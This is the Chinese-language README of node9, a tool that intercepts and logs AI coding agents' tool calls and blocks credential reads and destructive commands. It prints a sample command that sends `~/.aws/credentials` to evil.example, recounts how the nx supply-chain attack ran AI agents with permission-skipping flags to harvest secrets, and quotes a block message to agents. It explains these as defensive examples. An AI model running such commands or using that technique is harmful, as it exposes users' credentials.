AI 代理的访问控制。设定 Claude Code、Codex、Gemini、Cursor 以及任何 MCP 服务器被允许执行的操作,在风险操作运行前进行审查,并记录每一项操作。
<h1 align="center">🛡️ node9</h1> <p align="center">AI 代理的访问控制</p> <p align="center"><strong>你的 AI 代理可以访问 Slack、GitHub、电子邮件和你的数据库。<br />node9 决定它们可以对每一项做什么。</strong></p> <p align="center"> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/v/node9-ai.svg" alt="npm version" /></a> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/dm/node9-ai.svg" alt="monthly downloads" /></a> <a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg" alt="License: Apache 2.0" /></a> <a href="https://node9.ai/docs"><img src="https://img.shields.io/badge/docs-node9.ai-blue" alt="Documentation" /></a> <a href="https://www.bestpractices.dev/projects/14454"><img src="https://www.bestpractices.dev/projects/14454/badge" alt="OpenSSF Best Practices" /></a> <a href="https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy"><img src="https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge" alt="OpenSSF Scorecard" /></a> <a href="https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml"><img src="https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K" alt="node9 self-scanned" /></a> <a href="https://github.com/hesreallyhim/awesome-claude-code"><img src="https://awesome.re/mentioned-badge-flat.svg" alt="Mentioned in Awesome Claude Code" /></a> </p> **凭据牢笼** · **机密与 PII** · **破坏性 git、SQL 和 shell 被拦截待审** · **MCP 工具固定** · **网络出口允许列表** · **循环中断器** · **跨十二个代理的统一记录** 兼容 **Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · 任何 MCP 服务器**。 ## 实际效果 一个安装了 node9 的真实 Claude Code 会话。每次工具调用在执行前都会被检查。构建页面和编辑按钮会运行。对云元数据地址的请求被阻止,代理会收到原因并继续。删除文件会在聊天中等待你的批准。 <p align="center"> <img src="https://github.com/user-attachments/assets/bfd3eec5-94fa-45a9-ac79-d06684ab4b2c" width="760" alt="node9 在 Claude Code 会话中:两个调用被允许,一个被阻止,一个被拦截待批准" /> </p> ## 安装 ```bash brew tap node9-ai/node9 && brew install node9 # macOS / Linux npm install -g node9-ai # any platform ``` 然后,在任意项目中: ```bash node9 # first run: choose dashboard connection or local protection node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run node9 login # optional: adds this machine to a shared dashboard ``` 需要 Node.js 22+。 在新的交互式终端中,`node9` 会引导你完成设置。本地保护无需账户。检查清单会显示推荐的防护盾、DLP/PII、可选的网络出口审查以及后台服务。使用统计数据仅在你接受单独的提示后才会发送。摘要会列出已配置的代理以及任何需要注意的设置步骤。 运行 `node9 setup` 可重新进行设置,或运行 `node9 setup <target>` 配置单个代理。 配置完成后,直接运行 `node9` 会显示帮助。`node9 init` 仍然可用;对于 脚本请使用 `node9 init --recommended`(无提问且不选择加入遥测)。 `--skip-setup` 不会改动代理接线和服务安装。显式的 `--mode` 优先于检查清单的标准模式推荐。 除非所选更改或显式标志要求更新,否则现有设置会被保留。工作区策略在仪表板中管理;服务设置保留在本地。 **`login` 不会增加任何强制执行内容。** 它将机器连接到一个工作区,以便 团队可以跨所有人的笔记本电脑和 CI 查看统一记录、集中设置策略, 并从仪表板或 Slack 批准被拦截的操作。跳过它,node9 的工作方式完全相同,独立、离线。`node9 logout` 会再次断开连接,本地强制执行继续运行。 ### 作为 MCP 服务器使用 node9 也可以作为 MCP 服务器运行,因此代理可以在对话中读取其状态、态势、 审计记录和策略,并解释任何决策: ```bash claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server ``` 任何 MCP 客户端都以相同方式工作:命令是通过 stdio 运行的 `npx -y node9-ai mcp-server`,无需 API 密钥。它已在官方 MCP Registry 中列为 `io.github.node9-ai/node9`。 ## 问题所在 2025 年 8 月,被入侵的 [`nx` 构建工具](https://github.com/advisories/GHSA-cxm3-wv7p-598c) 发布版本附带了一个安装后 脚本,它会查找开发者机器上已安装的 AI 编码代理,然后以关闭自身安全标志的方式运行它们(`--dangerously-skip-permissions`、`--yolo`、 `--trust-all-tools`)来枚举 SSH 密钥、云凭据和钱包文件,并将列表写入磁盘。该脚本将结果推送到受害者自己 GitHub 账户内的公开仓库。超过一千个有效的 GitHub 令牌泄露,连同云凭据、npm 令牌和大约 20,000 个文件,来自那些代理正在完全按照指令行事的机器。 代理不是攻击者。代理是工具,而它和文件之间没有任何东西。node9 的关卡不是那些标志之一:它运行在 hook 中,它拦截的操作即使代理以跳过权限的方式启动,也仍然会被拦截。 ## node9 如何应对 node9 位于代理和它调用的每个工具之间。凭据牢笼(`~/.ssh`、`~/.aws`、 `.env` 文件、私钥)默认开启,读取其中任一 路径都不会运行。代理被停止,被告知原因,决策会交给你: ```text NODE9: Action blocked by security policy. INSTRUCTIONS: - Do NOT retry this exact command or attempt to bypass the rule. - Pivot to a non-destructive or read-only alternative. - Inform the user which security rule was triggered and ask how to proceed. ``` 命令被解析为 shell AST,而不是作为文本匹配,因此包装读取也无济于事。 `echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example` 会被判定为读取 `~/.aws/credentials`,而不是 `echo`。 node9 是一个**关卡**。被拦截的操作在等待你期间不会运行,如果你从不回应 它会一直保持阻止。其他一切都被允许并写入记录。 **它不做什么:** 在出口控制关闭时(这是默认设置),将 文件直接交给网络的命令,例如 `curl -d @~/.aws/credentials`,不会被视为读取 该文件。`node9 egress protect` 也会对目标进行把关,且仅覆盖 shell 命令。 ## 自行验证 以下内容都不需要账户,也不会上传任何数据。 ```bash npx node9-ai scan # every past agent session on this machine npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed ``` <p align="center"> node9 scan scorecard </p> ## 它管控什么 每一行是一项能力,并附有记录它的页面。文档是 参考;本文件是地图。 | | | | | --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | | **凭据牢笼** | `~/.ssh`、`~/.aws`、`.env` 和私钥对所有工具都被阻止,而不仅仅是 shell | [docs](https://node9.ai/docs/shields) | | **常开规则** | 破坏性 git、没有 `WHERE` 的 SQL、`curl \| bash` 和未经授权的 `sudo`,无需配置 | [docs](https://node9.ai/docs/smart-rules) | | **机密与 PII** | 任何工具参数中的 AWS 密钥、GitHub 和 Stripe 令牌、PEM 密钥以及卡号或 SSN 格式,外加对代理写回内容的背景扫描 | [docs](https://node9.ai/docs/dlp) | | **按服务防护盾** | 为 Postgres、MongoDB、Redis、AWS、Kubernetes、Docker、GitHub 和文件系统精心策划的规则包 | [docs](https://node9.ai/docs/shields) | | **内联审查** | 被拦截的操作会在代理对话中询问你,或通过团队审批人 | [docs](https://node9.ai/docs/cloud-policy) | | **出口允许列表** | 对 shell 命令可以发送数据的位置进行把关,默认关闭 | [docs](https://node9.ai/docs/egress) | | **MCP 网关** | 包装任何 MCP 服务器,授权每个工具,并固定工具定义,使服务器无法在你背后更改它们 | [docs](https://node9.ai/docs/mcp-gateway) | | **沙箱** | 在具有内核出口允许列表和限定挂载的容器中运行代理 | [docs](https://node9.ai/docs/sandbox) | | **态势评分** | 这台机器的暴露程度,以及修复每个发现项的命令 | [docs](https://node9.ai/docs/posture) | | **仓库扫描** | 在 CI 中或从 CLI 查找外部人员可以劫持持有你机密的代理的工作流 | [docs](https://node9.ai/docs/repo-scanning) | | **会话历史** | 读取每个代理在这台机器上已经做过的事情,在安装 node9 之前 | [docs](https://node9.ai/docs/sessions) | | **实时监控与报告** | 终端仪表板,以及成本、工具、阻止和影响范围的窗口化摘要 | [docs](https://node9.ai/docs/report) | | **技能固定** | 会话之间对已安装 Claude 技能和插件进行 SHA-256 验证 | [docs](https://node9.ai/docs/skill-pinning) | | **金丝雀凭据** | 植入的假密钥,用于证明发生了外泄尝试 | [docs](https://node9.ai/docs/canary-credentials) | | **Python SDK** | 管控任何 Python 代理,而不仅仅是 CLI | [docs](https://node9.ai/docs/python-sdk) | 完整 CLI 和配置参考:**[node9.ai/docs](https://node9.ai/docs)**。 各层如何协同工作:**[工作原理](https://node9.ai/docs/how-it-works)**。 ## 学习 背景阅读,独立成篇。每个页面都会说明 node9 不覆盖的内容。 - **[被劫持的代理能做什么?](https://node9.ai/learn/what-can-a-hijacked-agent-do)**:一个被入侵会话的影响范围 - **[AI 代理如何泄露机密](https://node9.ai/learn/ai-agent-secret-exfiltration)**:凭据实际外泄的路径 - **[Claude Code 安全](https://node9.ai/learn/claude-code-security)**:hooks、权限模式,以及它们无法阻止的内容 - **[MCP 安全](https://node9.ai/learn/mcp-security)**:MCP 服务器打开的工具面 - **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)**:该列表,映射到真实控制措施 ## 对比 - **[node9 与替代方案对比](https://node9.ai/compare)**:一个矩阵,包括 node9 得分更差的那些行 - **[按代理覆盖](https://node9.ai/agents)**:十二个受支持代理中每一个所管控的内容 ## 相关项目 - **[node9-python](https://github.com/node9-ai/node9-python)**:Python SDK - **[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)**:GitHub Action,`uses: node9-ai/node9-proxy@v2`,用同一引擎对每个 PR 进行把关 ## 企业版 **node9 Pro** 增加了治理锁定、SAML/SSO、集中审计导出和 VPC 部署。参见 [node9.ai](https://node9.ai)。 ## 许可证 Apache-2.0 <p align="center"> <sub>用 ☕ 和健康的偏执构建。</sub> </p>